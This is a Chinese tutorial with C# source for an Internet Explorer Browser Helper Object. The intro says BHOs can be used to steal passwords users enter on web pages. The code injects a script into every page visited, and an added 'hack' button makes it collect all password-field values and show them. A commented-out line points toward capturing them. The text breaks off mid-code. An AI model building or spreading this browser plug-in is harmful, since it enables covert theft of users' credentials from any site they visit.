BHO（Browser Helper Object）是插件，它寄存在IE浏览器中运行。在咱们的日常生活中无时无刻都在使用BHO，比如：迅雷检测用户是否单击了下载链接的BHO。用BHO也能做出些非常有意思的程序：窃取用户在网页上输入的密码信息等。

  接下来，咱们也来制作一个恶搞的BHO吧，该BHO的功能如下：

  1.注册成功后，每当用户浏览一个新的网页时，会自动在该网页中注入一个按钮

  2.点击该按钮能获取用户在该网页中输入的敏感信息

操作步骤

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程序代码

IObjectWithSite.cs

using System;
using System.Collections.Generic;

using System.Text;

using System.Runtime.InteropServices;

namespace HelloBHO
{

    [
ComVisible(true),
InterfaceType(ComInterfaceType.InterfaceIsIUnknown),
Guid("FC4801A3-2BA9-11CF-A229-00AA003D7352")
]

    public interface IObjectWithSite
    {
        [PreserveSig]
        int SetSite([MarshalAs(UnmanagedType.IUnknown)]object site);
        [PreserveSig]
        int GetSite(ref Guid guid, out IntPtr ppvSite);
    }
}

BHO.cs

using System;
using System.Collections.Generic;
using System.Text;

using System.Runtime.InteropServices;
using SHDocVw;
using mshtml;
using Microsoft.Win32;

namespace HelloBHO
{

        [
    ComVisible(true),
    Guid("8a194578-81ea-4850-9911-13ba2d71efbd"),
    ClassInterface(ClassInterfaceType.None)
    ]
    public class BHO:IObjectWithSite
    {
        WebBrowser webBrowser;
        HTMLDocument document;

        public void OnDocumentComplete(object pDisp,ref object URL)
        {
            document = (HTMLDocument)webBrowser.Document;
            IHTMLElement head = (IHTMLElement)((IHTMLElementCollection)document.all.tags("head")).item(null, 0);
            var body = (HTMLBody)document.body;
           
            //添加Javascript脚本
            IHTMLScriptElement scriptElement = (IHTMLScriptElement)document.createElement("script");
            scriptElement.type = "text/javascript";
            scriptElement.text = "function FindPassword(){var tmp=document.getElementsByTagName('input');var pwdList='';for(var i=0;i<tmp.length;i++){if(tmp[i].type.toLowerCase()=='password'){pwdList+=tmp[i].value}} alert(pwdList);}";//document.getElementById('PWDHACK').value=pwdList;
            ((HTMLHeadElement)head).appendChild((IHTMLDOMNode)scriptElement);

            //创建些可以使用CSS的节点
            string styleText = @".tb{position:absolute;top:100px;}";//left:100px;border:1px red solid;width:50px;height:50px;
            IHTMLStyleElement tmpStyle = (IHTMLStyleElement)document.createElement("style");
            
            tmpStyle.type = "text/css";
            tmpStyle.styleSheet.cssText = styleText;

            string btnString = @"<input type='button' value='hack' onclick='FindPassword()' />";
            body.insertAdjacentHTML("afterBegin", btnString);



        }

        public int SetSite(object site)
        {
            if (site != null)
            {
                webBrowser = (WebBrowser)site;
               
                webBrowser.DocumentComplete += new DWebBrowserEvents2_D